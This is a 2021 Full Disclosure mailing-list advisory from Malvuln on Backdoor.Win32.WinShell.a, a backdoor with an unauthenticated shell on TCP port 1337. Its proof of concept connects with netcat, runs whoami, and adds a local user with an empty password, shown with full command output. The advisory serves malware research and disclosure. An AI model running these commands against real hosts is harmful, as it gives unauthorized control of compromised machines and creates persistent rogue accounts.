full-disclosure - [FD] Backdoor.Win32.WinShell.a / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WSSupkkCo9h=yeM_qSSK5-8xvpxwt7kDpL5fiDh7tBz1A@mail.gmail.com>
Date: Sun, 30 May 2021 19:57:36 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.WinShell.a / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/911a97737bd26e2a478f52e74b4fa01d.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.a
Vulnerability: Unauthenticated Remote Command Execution
Description: WinShell listens on TCP port 1337, third-party attackers who
can reach the system can execute OS commands further compromising the
already infected system.
Type: PE32
MD5: 911a97737bd26e2a478f52e74b4fa01d
Vuln ID: MVID-2021-0233
Disclosure: 05/30/2021

Exploit/PoC:
nc64.exe x.x.x.x 1337
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-3c2kqjo\victim

C:\Users\Victim\Desktop>net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
The command completed successfully.

C:\Users\Victim\Desktop>net user hyp3rlinx
net user hyp3rlinx
User name                    hyp3rlinx
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            4/30/2021 2:42:58 AM
Password expires             Never
Password changeable          4/30/2021 2:42:58 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Users
Global Group memberships     *None
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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